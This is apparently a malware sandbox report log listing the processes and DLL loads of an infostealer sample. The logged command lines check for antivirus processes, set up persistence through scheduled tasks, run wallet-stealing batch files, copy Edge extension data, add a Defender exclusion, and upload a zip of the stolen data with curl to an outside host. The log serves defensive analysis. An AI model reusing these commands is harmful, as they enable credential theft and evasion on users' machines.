                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
                              Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js"
                              Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr" "C:\Users\user\AppData\Local\CreativePixel Tech\E"
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess created: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" "
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe "C:\Users\user\AppData\Local\Temp\COMSurrogate.exe"
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ex.bat" "
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\runsteal.bat" "
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\xcopy.exe xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\net.exe net session
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Users\user\AppData\Local\Temp\smartscreen.exe "C:\Users\user\AppData\Local\Temp\smartscreen.exe"
                              Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 session
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\curl.exe curl -s https://api.ipify.org
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\curl.exe curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php"
                              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe "C:\Users\user\AppData\Local\Temp\COMSurrogate.exe"
                              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\smartscreen.exe "C:\Users\user\AppData\Local\Temp\smartscreen.exe"
                              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe "C:\Users\user\AppData\Local\Temp\COMSurrogate.exe"
                              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\smartscreen.exe "C:\Users\user\AppData\Local\Temp\smartscreen.exe"
                              Source: C:\Users\user\Desktop\File.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmdJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 491505Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue BJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\491505\Dr.com Dr.com BJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 15Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHESTJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHESTJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess created: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHESTJump to behavior
                              Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr" "C:\Users\user\AppData\Local\CreativePixel Tech\E"Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" "Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe "C:\Users\user\AppData\Local\Temp\COMSurrogate.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ex.bat" "Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\runsteal.bat" "Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Users\user\AppData\Local\Temp\smartscreen.exe "C:\Users\user\AppData\Local\Temp\smartscreen.exe" Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\xcopy.exe xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\net.exe net session
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'"
                              Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 session
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\curl.exe curl -s https://api.ipify.org
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\curl.exe curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php"
                              Source: C:\Users\user\Desktop\File.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: version.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: shfolder.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: riched20.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: usp10.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: msls31.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: textinputframework.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: coreuicomponents.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: coremessaging.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: ntmarta.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: coremessaging.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: textshaping.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                              Source: C:\Users\user\Desktop\File.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dllJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: wsock32.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: version.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: winmm.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: mpr.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: wininet.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: iphlpapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: ntmarta.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: textshaping.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: textinputframework.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: coreuicomponents.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: coremessaging.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: napinsp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: pnrpnsp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: wshbth.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: nlaapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: mswsock.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: dnsapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: winrnr.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: rasadhlp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comSection loaded: apphelp.dllJump to behavior
                              Source: C:\Windows\SysWOW64\choice.exeSection loaded: version.dllJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: xmllite.dllJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: xmllite.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                              Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: wsock32.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: version.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: winmm.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: mpr.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: wininet.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: iphlpapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: mscoree.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: aclayers.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: mpr.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: sfc.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: version.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: amsi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: msasn1.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: gpapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: mswsock.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: msisip.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: wshext.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: appxsip.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: opcservices.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: secur32.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: schannel.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: wininet.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: mi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: miutils.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: wmidcom.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: dpapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: wbemcomn.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: mskeyprotect.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: ntasn1.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: ncrypt.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: ncryptsslp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: cryptnet.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: iphlpapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: winnsi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: winhttp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: dhcpcsvc6.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: dhcpcsvc.dllJump to behavior
